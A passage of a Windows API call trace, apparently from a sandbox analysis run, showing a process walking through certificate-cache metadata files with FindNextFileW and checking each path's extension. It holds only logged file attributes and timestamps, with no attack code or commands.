HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0119.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0119.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0119.209] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0119.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, 